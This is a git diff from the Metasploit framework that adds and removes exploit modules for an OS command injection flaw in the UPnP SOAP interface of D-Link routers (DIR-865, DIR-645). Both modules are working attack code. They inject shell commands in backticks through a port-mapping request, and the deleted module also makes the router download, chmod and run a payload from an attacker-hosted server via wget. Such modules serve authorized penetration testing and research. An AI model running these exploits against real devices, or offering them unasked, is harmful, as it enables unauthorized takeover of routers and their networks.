diff --git a/modules/exploits/linux/http/dlink_upnp_exec_echo.rb b/modules/exploits/linux/http/dlink_upnp_exec_echo.rb new file mode 100644 index 0000000000..7919411ce9 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_echo.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. Since it is a blind OS command injection vulnerability, there is no + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ], + ], + 'DefaultTarget' => 0 + )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/InternetGatewayDevice.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /DIR-645<\/modelNumber>/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 400, + ) + end + + def execute_command(cmd, opts) + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 + + uri = '/soap.cgi' + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd = "" + data_cmd << "" + data_cmd << "" + data_cmd << "" + data_cmd << "#{new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{new_internal_port}" + data_cmd << "" + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb deleted file mode 100644 index 27b6bc1e9e..0000000000 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ /dev/null @@ -1,267 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Command Execution', - 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP - interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. - }, - 'Author' => - [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module - 'juan vazquez' # minor help with msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] - ], - 'DisclosureDate' => 'Jul 05 2013', - 'Privileged' => true, - 'Platform' => %w{ linux unix }, - 'Payload' => - { - 'DisableNops' => true, - }, - 'Targets' => - [ - [ 'CMD', #all devices - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed - { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' - } - ], - ], - 'DefaultTarget' => 1 - )) - - register_options( - [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), - ], self.class) - end - - def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) - - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips - end - end - - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end - - def exploit_mips - - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false - - # - # start our server - # - resource_uri = '/' + downfile - - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - datastore['SSL'] = true if ssl_restore - end - - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) - - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end - - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end - - register_file_for_cleanup("/tmp/#{filename}") - - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end - - def request(cmd, type) - - uri = '/soap.cgi' - - data_cmd = "" - data_cmd << "" - data_cmd << "" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end - - data_cmd << "" - data_cmd << "" - - begin - res = send_request_cgi({ - 'uri' => uri, - 'vars_get' => { - 'service' => 'WANIPConn1' - }, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end - - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end - - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end - end - end -end